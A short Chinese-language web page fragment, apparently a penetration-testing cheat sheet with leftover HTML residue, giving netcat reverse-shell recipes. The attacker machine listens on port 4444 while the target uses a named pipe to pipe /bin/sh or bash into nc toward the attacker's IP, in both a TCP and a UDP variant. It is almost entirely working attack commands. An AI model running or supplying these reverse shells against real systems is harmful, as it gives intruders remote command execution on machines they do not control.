主机1监听端口,主机2发起连接。
shell_1">TCP shell
主机1:
nc -nvlp 4444
主机2:
nction">mknod /tmp/backpipe p
/bin/sh 0</tmp/backpipe | nc 主机1的IP 4444 1>/tmp/backpipe
如果第一步提示文件backpipe存在,且无法建立连接,则可以先把它删了重试:
nction">rm /tmp/backpipe
shell_20">UDP shell
攻击机:
nc -nuvlp 4444
靶机:
nction">mkfifo fifo
nc -u 主机1的IP 4444 < fifo |
nctuation">{
echo "Hi"
nction">bash
nctuation">} > fifo